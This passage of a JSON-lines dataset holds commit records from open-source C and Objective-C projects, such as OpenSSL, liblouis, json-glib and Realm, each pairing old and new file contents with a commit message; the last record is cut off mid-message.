{"commit":"ca1bf2d0ae025b77910a2e2f8dc91e1cbd802f76","old_file":"test\/test.h","new_file":"test\/test.h","old_contents":"#define ASSERT(x) \\\r\n    do{ \\\r\n        if(!(x)){ \\\r\n            printf(\"failed assert (%d): %s\\n\", __LINE__,  #x); \\\r\n            exit(1); \\\r\n        }\\\r\n    }while(0)\r\n\r\n#define INIT_SOCKETS_FOR_WINDOWS \\\r\n    { \\\r\n        WSADATA out; \\\r\n        WSAStartup(MAKEWORD(2,2), &out); \\\r\n    }\r\n\r\n","new_contents":"#include <stdlib.h>\r\n\r\n#define ASSERT(x) \\\r\n    do{ \\\r\n        if(!(x)){ \\\r\n            printf(\"failed assert (%d): %s\\n\", __LINE__,  #x); \\\r\n            exit(1); \\\r\n        }\\\r\n    }while(0)\r\n\r\n#ifdef _WIN32\r\n#define INIT_SOCKETS_FOR_WINDOWS \\\r\n    do{ \\\r\n        WSADATA out; \\\r\n        WSAStartup(MAKEWORD(2,2), &out); \\\r\n    } while(0)\r\n#else\r\n#define INIT_SOCKETS_FOR_WINDOWS do {} while(0)\r\n#endif\r\n","subject":"Make everything work on linux again","message":"Make everything work on linux again\n","lang":"C","license":"apache-2.0","repos":"HeliumProject\/mongo-c,mongodb\/mongo-c-driver-legacy,Elastica\/mongo-c-driver-legacy,mongodb\/mongo-c-driver-legacy,mongodb\/mongo-c-driver-legacy,Elastica\/mongo-c-driver-legacy,Elastica\/mongo-c-driver-legacy,HeliumProject\/mongo-c,Elastica\/mongo-c-driver-legacy,mongodb\/mongo-c-driver-legacy,HeliumProject\/mongo-c,HeliumProject\/mongo-c"}
{"commit":"61e49bf492c99d95ce46a57a54a7589ee5e184cb","old_file":"inc\/random_hao.h","new_file":"inc\/random_hao.h","old_contents":"#ifndef RANDOM_HAO\n#define RANDOM_HAO\n\n#define SIMPLE_SPRNG\n\n#ifdef MPI_HAO\n#include <mpi.h> \n#define USE_MPI\n#endif\n\n#include \"sprng.h\"\n\nvoid random_hao_init(int seed=985456376, int gtype=1);\ndouble uniform_hao();\ndouble gaussian_hao();\n\n#endif\n","new_contents":"#ifndef RANDOM_HAO_H\n#define RANDOM_HAO_H\n\n#define SIMPLE_SPRNG\n\n#ifdef MPI_HAO\n#include <mpi.h> \n#define USE_MPI\n#endif\n\n#include \"sprng.h\"\n\nvoid random_hao_init(int seed=985456376, int gtype=1);\ndouble uniform_hao();\ndouble gaussian_hao();\n\n#endif\n","subject":"Set the header protection to end with _H.","message":"Set the header protection to end with _H.\n","lang":"C","license":"mit","repos":"hshi\/random_lib_hao,hshi\/random_lib_hao"}
{"commit":"53ef02baf80130a81d019e85c528fdc13af9db33","old_file":"providers\/implementations\/ciphers\/cipher_rc5.h","new_file":"providers\/implementations\/ciphers\/cipher_rc5.h","old_contents":"\/*\n * Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the Apache License 2.0 (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n#include <openssl\/rc5.h>\n#include \"prov\/ciphercommon.h\"\n\ntypedef struct prov_blowfish_ctx_st {\n    PROV_CIPHER_CTX base;      \/* Must be first *\/\n    union {\n        OSSL_UNION_ALIGN;\n        RC5_32_KEY ks;         \/* key schedule *\/\n    } ks;\n    unsigned int rounds;       \/* number of rounds *\/\n} PROV_RC5_CTX;\n\nconst PROV_CIPHER_HW *ossl_prov_cipher_hw_rc5_cbc(size_t keybits);\nconst PROV_CIPHER_HW *ossl_prov_cipher_hw_rc5_ecb(size_t keybits);\nconst PROV_CIPHER_HW *ossl_prov_cipher_hw_rc5_ofb64(size_t keybits);\nconst PROV_CIPHER_HW *ossl_prov_cipher_hw_rc5_cfb64(size_t keybits);\n","new_contents":"\/*\n * Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the Apache License 2.0 (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n#include <openssl\/rc5.h>\n#include \"prov\/ciphercommon.h\"\n\ntypedef struct prov_rc5_ctx_st {\n    PROV_CIPHER_CTX base;      \/* Must be first *\/\n    union {\n        OSSL_UNION_ALIGN;\n        RC5_32_KEY ks;         \/* key schedule *\/\n    } ks;\n    unsigned int rounds;       \/* number of rounds *\/\n} PROV_RC5_CTX;\n\nconst PROV_CIPHER_HW *ossl_prov_cipher_hw_rc5_cbc(size_t keybits);\nconst PROV_CIPHER_HW *ossl_prov_cipher_hw_rc5_ecb(size_t keybits);\nconst PROV_CIPHER_HW *ossl_prov_cipher_hw_rc5_ofb64(size_t keybits);\nconst PROV_CIPHER_HW *ossl_prov_cipher_hw_rc5_cfb64(size_t keybits);\n","subject":"Fix PROV_RC5_CTX's original structure name","message":"Fix PROV_RC5_CTX's original structure name\n\nIt looks like a typo when copy & pasting the structure from blowfish.\n\nReviewed-by: Shane Lontis <452ce16516ceed26291fe7de3f8b53540d83864e@oracle.com>\nReviewed-by: Richard Levitte <5fb523282dd7956571c80524edc2dccfa0bd8234@openssl.org>\nReviewed-by: Tomas Mraz <2bc6038c3dfca09b2da23c8b6da8ba884dc2dcc2@openssl.org>\n(Merged from https:\/\/github.com\/openssl\/openssl\/pull\/19186)\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"e01f9a4f0f658c37b10eba1058204c85a0ed79f3","old_file":"windows\/include\/config.h","new_file":"windows\/include\/config.h","old_contents":"\/* liblouis Braille Translation and Back-Translation  Library\r\n\r\n   Copyright (C) 2014 ViewPlus Technologies, Inc. www.viewplus.com\r\n   and the liblouis team. http:\/\/liblouis.org\r\n   All rights reserved\r\n\r\n   This file is free software; you can redistribute it and\/or modify it\r\n   under the terms of the Lesser or Library GNU General Public License \r\n   as published by the\r\n   Free Software Foundation; either version 3, or (at your option) any\r\n   later version.\r\n\r\n   This file is distributed in the hope that it will be useful, but\r\n   WITHOUT ANY WARRANTY; without even the implied warranty of\r\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \r\n   Library GNU General Public License for more details.\r\n\r\n   You should have received a copy of the Library GNU General Public \r\n   License along with this program; see the file COPYING.  If not, write to\r\n   the Free Software Foundation, 51 Franklin Street, Fifth Floor,\r\n   Boston, MA 02110-1301, USA.\r\n   *\/\r\n\r\n#define PACKAGE_VERSION \"liblouis-2.5.2\"\r\n\r\n","new_contents":"\/* liblouis Braille Translation and Back-Translation  Library\r\n\r\n   Copyright (C) 2014 ViewPlus Technologies, Inc. www.viewplus.com\r\n   and the liblouis team. http:\/\/liblouis.org\r\n   All rights reserved\r\n\r\n   This file is free software; you can redistribute it and\/or modify it\r\n   under the terms of the Lesser or Library GNU General Public License \r\n   as published by the\r\n   Free Software Foundation; either version 3, or (at your option) any\r\n   later version.\r\n\r\n   This file is distributed in the hope that it will be useful, but\r\n   WITHOUT ANY WARRANTY; without even the implied warranty of\r\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the \r\n   Library GNU General Public License for more details.\r\n\r\n   You should have received a copy of the Library GNU General Public \r\n   License along with this program; see the file COPYING.  If not, write to\r\n   the Free Software Foundation, 51 Franklin Street, Fifth Floor,\r\n   Boston, MA 02110-1301, USA.\r\n   *\/\r\n\r\n#define PACKAGE_VERSION \"liblouis-2.6.3\"\r\n\r\n","subject":"Update the version number in the windows directory","message":"Update the version number in the windows directory\n","lang":"C","license":"lgpl-2.1","repos":"BueVest\/liblouis,liblouis\/liblouis,IndexBraille\/liblouis,liblouis\/liblouis,hammera\/liblouis,vsmontalvao\/liblouis,vsmontalvao\/liblouis,hammera\/liblouis,IndexBraille\/liblouis,liblouis\/liblouis,IndexBraille\/liblouis,vsmontalvao\/liblouis,liblouis\/liblouis,hammera\/liblouis,vsmontalvao\/liblouis,hammera\/liblouis,vsmontalvao\/liblouis,BueVest\/liblouis,BueVest\/liblouis,hammera\/liblouis,IndexBraille\/liblouis,BueVest\/liblouis,IndexBraille\/liblouis,hammera\/liblouis,liblouis\/liblouis,BueVest\/liblouis,BueVest\/liblouis,liblouis\/liblouis"}
{"commit":"cb5b3d5fa6244b0d20258203bd9df7e3148af57b","old_file":"json-glib\/tests\/node-test.c","new_file":"json-glib\/tests\/node-test.c","old_contents":"#include <glib\/gtestutils.h>\n#include <json-glib\/json-types.h>\n#include <string.h>\n\nstatic void\ntest_null (void)\n{\n  JsonNode *node = json_node_new (JSON_NODE_NULL);\n\n  g_assert_cmpint (node->type, ==, JSON_NODE_NULL);\n  g_assert_cmpint (json_node_get_value_type (node), ==, G_TYPE_INVALID);\n  g_assert_cmpstr (json_node_type_name (node), ==, \"NULL\");\n\n  json_node_free (node);\n}\n\nint\nmain (int   argc,\n      char *argv[])\n{\n  g_type_init ();\n  g_test_init (&argc, &argv, NULL);\n\n  g_test_add_func (\"\/nodes\/null-node\", test_null);\n\n  return g_test_run ();\n}\n","new_contents":"#include <glib\/gtestutils.h>\n#include <json-glib\/json-types.h>\n#include <string.h>\n\nstatic void\ntest_copy (void)\n{\n  JsonNode *node = json_node_new (JSON_NODE_NULL);\n  JsonNode *copy = json_node_copy (node);\n\n  g_assert_cmpint (node->type, ==, copy->type);\n  g_assert_cmpint (json_node_get_value_type (node), ==, json_node_get_value_type (copy));\n  g_assert_cmpstr (json_node_type_name (node), ==, json_node_type_name (copy));\n\n  json_node_free (copy);\n  json_node_free (node);\n}\n\nstatic void\ntest_null (void)\n{\n  JsonNode *node = json_node_new (JSON_NODE_NULL);\n\n  g_assert_cmpint (node->type, ==, JSON_NODE_NULL);\n  g_assert_cmpint (json_node_get_value_type (node), ==, G_TYPE_INVALID);\n  g_assert_cmpstr (json_node_type_name (node), ==, \"NULL\");\n\n  json_node_free (node);\n}\n\nint\nmain (int   argc,\n      char *argv[])\n{\n  g_type_init ();\n  g_test_init (&argc, &argv, NULL);\n\n  g_test_add_func (\"\/nodes\/null-node\", test_null);\n  g_test_add_func (\"\/nodes\/copy-node\", test_copy);\n\n  return g_test_run ();\n}\n","subject":"Add a JsonNode copy test unit","message":"Add a JsonNode copy test unit\n\nThe test unit copies a NULL JsonNode and checks that the copy and the\noriginal nodes are equivalent.\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/json-glib,GNOME\/json-glib,robtaylor\/json-glib-gvariant,robtaylor\/json-glib-gvariant,ebassi\/json-glib,ebassi\/json-glib,brauliobo\/json-glib,oerdnj\/json-glib,frida\/json-glib,oerdnj\/json-glib,ebassi\/json-glib,oerdnj\/json-glib,brauliobo\/json-glib,frida\/json-glib,brauliobo\/json-glib,Distrotech\/json-glib,GNOME\/json-glib,oerdnj\/json-glib,Distrotech\/json-glib"}
{"commit":"d62ff6ee49fcd6b033a01d5a0b067d865c4c4fc8","old_file":"lib\/libc\/locale\/nomacros.c","new_file":"lib\/libc\/locale\/nomacros.c","old_contents":"#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n\/*\n * Tell <ctype.h> to generate extern versions of all its inline\n * functions.  The extern versions get called if the system doesn't\n * support inlines or the user defines _DONT_USE_CTYPE_INLINE_\n * before including <ctype.h>.\n *\/\n#define _EXTERNALIZE_CTYPE_INLINES_\n\n#include <ctype.h>\n","new_contents":"#include <sys\/cdefs.h>\n__FBSDID(\"$FreeBSD$\");\n\n\/*\n * Tell <ctype.h> to generate extern versions of all its inline\n * functions.  The extern versions get called if the system doesn't\n * support inlines or the user defines _DONT_USE_CTYPE_INLINE_\n * before including <ctype.h>.\n *\/\n#define _EXTERNALIZE_CTYPE_INLINES_\n\n\/*\n * Also make sure <runetype.h> does not generate an inline definition\n * of __getCurrentRuneLocale().\n *\/\n#define __RUNETYPE_INTERNAL\n\n#include <ctype.h>\n","subject":"Fix build of libc.so after r232620. This caused a duplicate definition of __getCurrentRuneLocale().","message":"Fix build of libc.so after r232620.  This caused a duplicate definition\nof __getCurrentRuneLocale().\n\nPointy hat to:\tme\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"f47fb07147844b0f12e36137d3c65b97b5a59f99","old_file":"src\/json_utils.h","new_file":"src\/json_utils.h","old_contents":"\/*\n * GeeXboX Valhalla: tiny media scanner API.\n * Copyright (C) 2016 Mathieu Schroeter <mathieu@schroetersa.ch>\n *\n * This file is part of libvalhalla.\n *\n * libvalhalla is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * libvalhalla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with libvalhalla; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef VALHALLA_JSON_UTILS_H\n#define VALHALLA_JSON_UTILS_H\n\n#include <json-c\/json_tokener.h>\n\nchar *vh_json_get_str (json_object *json, const char *path);\nint vh_json_get_int (json_object *json, const char *path);\n\n#endif \/* VALHALLA_JSON_UTILS_H *\/\n","new_contents":"\/*\n * GeeXboX Valhalla: tiny media scanner API.\n * Copyright (C) 2016 Mathieu Schroeter <mathieu@schroetersa.ch>\n *\n * This file is part of libvalhalla.\n *\n * libvalhalla is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * libvalhalla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with libvalhalla; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef VALHALLA_JSON_UTILS_H\n#define VALHALLA_JSON_UTILS_H\n\n#include <json-c\/json_tokener.h>\n\njson_object *vh_json_get (json_object *json, const char *path);\nchar *vh_json_get_str (json_object *json, const char *path);\nint vh_json_get_int (json_object *json, const char *path);\n\n#endif \/* VALHALLA_JSON_UTILS_H *\/\n","subject":"Add vh_json_get in the API","message":"Add vh_json_get in the API\n","lang":"C","license":"lgpl-2.1","repos":"GeeXboX\/libvalhalla,GeeXboX\/libvalhalla,GeeXboX\/libvalhalla,GeeXboX\/libvalhalla,GeeXboX\/libvalhalla"}
{"commit":"0cb191b07c9bae9123655267c50f1210da07a48f","old_file":"AdjustIo\/AIResponseData.h","new_file":"AdjustIo\/AIResponseData.h","old_contents":"\/\/\n\/\/  AIResponseData.h\n\/\/  AdjustIo\n\/\/\n\/\/  Created by Christian Wellenbrock on 07.02.14.\n\/\/  Copyright (c) 2014 adeven. All rights reserved.\n\/\/\n\ntypedef enum {\n    AIActivityKindUnknown = 0,\n    AIActivityKindSession = 1,\n    AIActivityKindEvent   = 2,\n    AIActivityKindRevenue = 3,\n\n    \/\/ only possible when server could be reached because the SDK can't know\n    \/\/ whether or not a session might be an install or reattribution\n    AIActivityKindInstall       = 4,\n    AIActivityKindReattribution = 5,\n} AIActivityKind;\n\n\n@interface AIResponseData : NSObject\n\n@property (nonatomic, assign) AIActivityKind activityKind;\n\n@property (nonatomic, copy) NSString *trackerToken;\n@property (nonatomic, copy) NSString *trackerName;\n@property (nonatomic, copy) NSString *error;\n\n+ (AIResponseData *)dataWithJsonString:(NSString *)string;\n\n- (id)initWithJsonString:(NSString *)string;\n\n@end\n","new_contents":"\/\/\n\/\/  AIResponseData.h\n\/\/  AdjustIo\n\/\/\n\/\/  Created by Christian Wellenbrock on 07.02.14.\n\/\/  Copyright (c) 2014 adeven. All rights reserved.\n\/\/\n\ntypedef enum {\n    AIActivityKindUnknown = 0,\n    AIActivityKindSession = 1,\n    AIActivityKindEvent   = 2,\n    AIActivityKindRevenue = 3,\n\n    \/\/ only possible when server could be reached because the SDK can't know\n    \/\/ whether or not a session might be an install or reattribution\n    AIActivityKindInstall       = 4,\n    AIActivityKindReattribution = 5,\n} AIActivityKind;\n\n\n@class AIActivityPackage;\n\n\/*\n * Information about the result of a tracking attempt\n *\n * Will be passed to the delegate function adjustIoTrackedActivityWithResponse\n *\/\n@interface AIResponseData : NSObject\n\n\/\/ the kind of activity (install, session, event, etc.)\n\/\/ see the AIActivity definition above\n@property (nonatomic, assign) AIActivityKind activityKind;\n\n\/\/ true when the activity was tracked successfully\n\/\/ might be true even if response could not be parsed\n@property (nonatomic, assign) BOOL success;\n\n\/\/ true if the server was not reachable and the request will be tried again later\n@property (nonatomic, assign) BOOL willRetry;\n\n\/\/ nil if activity was tracked successfully and response could be parsed\n\/\/ might be not nil even when activity was tracked successfully\n@property (nonatomic, copy) NSString *error;\n\n\/\/ the following attributes are only set when error is nil\n\/\/ (when activity was tracked successfully and response could be parsed)\n\n\/\/ tracker token of current device\n@property (nonatomic, copy) NSString *trackerToken;\n\n\/\/ tracker name of current device\n@property (nonatomic, copy) NSString *trackerName;\n\n+ (AIResponseData *)dataWithJsonString:(NSString *)string;\n+ (AIResponseData *)dataWithError:(NSString *)error;\n\n- (id)initWithJsonString:(NSString *)string;\n- (id)initWithError:(NSString *)error;\n\n@end\n","subject":"Add flags success and willRetry to ResponseData","message":"Add flags success and willRetry to ResponseData\n","lang":"C","license":"mit","repos":"akolov\/adjust,dannycxh\/ios_sdk,Threadflip\/adjust_ios_sdk,BlueCrystalLabs\/ios_sdk,nicolas-brugneaux-sociomantic\/ios_sdk,trademob\/ios_sdk,pitchtarget\/adjust-ios-sdk,mseegers\/ios_sdk,yutmr\/ios_sdk"}
{"commit":"ebe94114b14418c11e829e952c2ee92ea42585cb","old_file":"test\/CodeGen\/tentative-decls.c","new_file":"test\/CodeGen\/tentative-decls.c","old_contents":"\/\/ RUN: clang-cc -emit-llvm -o %t %s &&\n\n\/\/ RUN: grep '@r = common global \\[1 x .*\\] zeroinitializer' %t &&\n\nint r[];\nint (*a)[] = &r;\n\nstruct s0;\nstruct s0 x;\n\/\/ RUN: grep '@x = common global .struct.s0 zeroinitializer' %t &&\n\nstruct s0 y;\n\/\/ RUN: grep '@y = common global .struct.s0 zeroinitializer' %t &&\nstruct s0 *f0() {\n  return &y;\n}\n\nstruct s0 {\n  int x;\n};\n\n\/\/ RUN: grep '@b = common global \\[1 x .*\\] zeroinitializer' %t &&\nint b[];\nint *f1() {\n  return b;\n}\n\n\/\/ Check that the most recent tentative definition wins.\n\/\/ RUN: grep '@c = common global \\[4 x .*\\] zeroinitializer' %t &&\nint c[];\nint c[4];\n\n\/\/ RUN: true\n","new_contents":"\/\/ RUN: clang-cc -emit-llvm -o %t %s &&\n\n\/\/ RUN: grep '@r = common global \\[1 x .*\\] zeroinitializer' %t &&\n\nint r[];\nint (*a)[] = &r;\n\nstruct s0;\nstruct s0 x;\n\/\/ RUN: grep '@x = common global .struct.s0 zeroinitializer' %t &&\n\nstruct s0 y;\n\/\/ RUN: grep '@y = common global .struct.s0 zeroinitializer' %t &&\nstruct s0 *f0() {\n  return &y;\n}\n\nstruct s0 {\n  int x;\n};\n\n\/\/ RUN: grep '@b = common global \\[1 x .*\\] zeroinitializer' %t &&\nint b[];\nint *f1() {\n  return b;\n}\n\n\/\/ Check that the most recent tentative definition wins.\n\/\/ RUN: grep '@c = common global \\[4 x .*\\] zeroinitializer' %t &&\nint c[];\nint c[4];\n\n\/\/ Check that we emit static tentative definitions\n\/\/ RUN: grep '@c5 = internal global \\[1 x .*\\] zeroinitializer' %t &&\nstatic int c5[];\nstatic int func() { return c5[0]; }\nint callfunc() { return func(); }\n\n\/\/ RUN: true\n","subject":"Add testcase that illustrates the problem from r69699 regarding tentative definitions of statics","message":"Add testcase that illustrates the problem from r69699 regarding tentative definitions of statics\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@70543 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"5856e5d8890058e383f53dc94e1f0f96645ebbe3","old_file":"knode\/resource.h","new_file":"knode\/resource.h","old_contents":"\/*\n    resource.h\n\n    KNode, the KDE newsreader\n    Copyright (c) 1999-2005 the KNode authors.\n    See file AUTHORS for details\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software Foundation,\n    Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, US\n*\/\n\n#ifndef RESSOURCE_H\n#define RESSOURCE_H\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n\n\/\/========= KNode Version Information ============\n\n#define KNODE_VERSION \"0.9.91\"\n\n\/\/================= StatusBar ====================\n\n#define SB_MAIN     4000005\n#define SB_GROUP      4000010\n#define SB_FILTER   4000030\n\n\n\/\/================== Folders =====================\n\n#define FOLD_DRAFTS 200010\n#define FOLD_SENT   200020\n#define FOLD_OUTB   200030\n\n\n#endif \/\/ RESOURCE_H\n","new_contents":"\/*\n    resource.h\n\n    KNode, the KDE newsreader\n    Copyright (c) 1999-2005 the KNode authors.\n    See file AUTHORS for details\n\n    This program is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software Foundation,\n    Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, US\n*\/\n\n#ifndef RESSOURCE_H\n#define RESSOURCE_H\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n\n\/\/========= KNode Version Information ============\n\n#define KNODE_VERSION \"0.9.92\"\n\n\/\/================= StatusBar ====================\n\n#define SB_MAIN     4000005\n#define SB_GROUP      4000010\n#define SB_FILTER   4000030\n\n\n\/\/================== Folders =====================\n\n#define FOLD_DRAFTS 200010\n#define FOLD_SENT   200020\n#define FOLD_OUTB   200030\n\n\n#endif \/\/ RESOURCE_H\n","subject":"Increment version number for 3.5 beta2.","message":"Increment version number for 3.5 beta2.\n\nsvn path=\/branches\/KDE\/3.5\/kdepim\/; revision=466310\n","lang":"C","license":"lgpl-2.1","repos":"lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi,lefou\/kdepim-noakonadi"}
{"commit":"5f611e7fd3bf3624dd1202c0e433bc83806e90a4","old_file":"SIT151\/C\/PC3\/exercice1.c","new_file":"SIT151\/C\/PC3\/exercice1.c","old_contents":"","new_contents":"#include <stdio.h>\n\ntypedef struct {\n  char last_name[20];\n  char first_name[15];\n  int  age;\n} Person;\n\n\nint ask() {\n  printf(\"1. Add user\\n\");\n  printf(\"2. Quit\\n\");\n  return getchar() - 48;\n}\n\nPerson createPerson() {\n  Person p;\n\n  printf(\"Last name: \");\n  scanf(\"%s\", p.last_name);\n\n  printf(\"First name: \");\n  scanf(\"%s\", p.first_name);\n\n  printf(\"Age: \");\n  scanf(\"%d\", &p.age);\n\n  return p;\n}\n\nint main() {\n  FILE *f;\n\n  if ((f = fopen(\"users.txt\", \"a\")) != NULL) {\n\n    int choice;\n    while ((choice = ask()) != 2) {\n      if (choice == 1) {\n\tPerson p = createPerson();\n\tfprintf(f, \"%s_%s_%d\\n\", p.last_name, p.first_name, p.age);\n      }\n    }\n\n    fclose(f);\n  } else {\n    printf(\"Error while opening users.txt\\n\");\n  }\n\n  return 0;\n}\n","subject":"Add SIT151 C PC3 Ex1","message":"Add SIT151 C PC3 Ex1\n","lang":"C","license":"mit","repos":"maxmouchet\/tb,maxmouchet\/tb,maxmouchet\/tb,maxmouchet\/tb,maxmouchet\/tb,maxmouchet\/tb"}
{"commit":"e0eaf53867defbf7549ac18520fed3f9ded45396","old_file":"FastEasyMapping\/Source\/Utility\/FEMTypes.h","new_file":"FastEasyMapping\/Source\/Utility\/FEMTypes.h","old_contents":"\/\/ For License please refer to LICENSE file in the root of FastEasyMapping project\n#import <Foundation\/Foundation.h>\n\ntypedef __nullable id (^FEMMapBlock)(id value __nonnull);","new_contents":"\/\/ For License please refer to LICENSE file in the root of FastEasyMapping project\n#import <Foundation\/Foundation.h>\n\ntypedef __nullable id (^FEMMapBlock)(__nonnull id value);","subject":"Add nullability specifiers to FEMMapBlock","message":"Add nullability specifiers to FEMMapBlock\n","lang":"C","license":"mit","repos":"langziguilai\/FastEasyMapping,pomozoff\/FastEasyMapping,k06a\/FastEasyMapping"}
{"commit":"e8ca05d549a6768b697255f42125e940912c7163","old_file":"Realm\/RLMObject_Private.h","new_file":"Realm\/RLMObject_Private.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ TIGHTDB CONFIDENTIAL\n\/\/ __________________\n\/\/\n\/\/  [2011] - [2014] TightDB Inc\n\/\/  All Rights Reserved.\n\/\/\n\/\/ NOTICE:  All information contained herein is, and remains\n\/\/ the property of TightDB Incorporated and its suppliers,\n\/\/ if any.  The intellectual and technical concepts contained\n\/\/ herein are proprietary to TightDB Incorporated\n\/\/ and its suppliers and may be covered by U.S. and Foreign Patents,\n\/\/ patents in process, and are protected by trade secret or copyright law.\n\/\/ Dissemination of this information or reproduction of this material\n\/\/ is strictly forbidden unless prior written permission is obtained\n\/\/ from TightDB Incorporated.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import \"RLMObject.h\"\n#import \"RLMAccessor.h\"\n#import \"RLMObjectSchema.h\"\n\n\/\/ RLMObject accessor and read\/write realm\n@interface RLMObject () <RLMAccessor>\n\n@property (nonatomic, readwrite) RLMRealm *realm;\n@property (nonatomic) RLMObjectSchema *schema;\n\n@end\n\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ TIGHTDB CONFIDENTIAL\n\/\/ __________________\n\/\/\n\/\/  [2011] - [2014] TightDB Inc\n\/\/  All Rights Reserved.\n\/\/\n\/\/ NOTICE:  All information contained herein is, and remains\n\/\/ the property of TightDB Incorporated and its suppliers,\n\/\/ if any.  The intellectual and technical concepts contained\n\/\/ herein are proprietary to TightDB Incorporated\n\/\/ and its suppliers and may be covered by U.S. and Foreign Patents,\n\/\/ patents in process, and are protected by trade secret or copyright law.\n\/\/ Dissemination of this information or reproduction of this material\n\/\/ is strictly forbidden unless prior written permission is obtained\n\/\/ from TightDB Incorporated.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#import \"RLMObject.h\"\n#import \"RLMAccessor.h\"\n#import \"RLMObjectSchema.h\"\n\n\/\/ RLMObject accessor and read\/write realm\n@interface RLMObject () <RLMAccessor>\n-(instancetype)initWithDefaultValues:(BOOL)useDefaults;\n\n@property (nonatomic, readwrite) RLMRealm *realm;\n@property (nonatomic) RLMObjectSchema *schema;\n\n@end\n\n","subject":"Declare initWithDefaultValues in private category","message":"Declare initWithDefaultValues in private 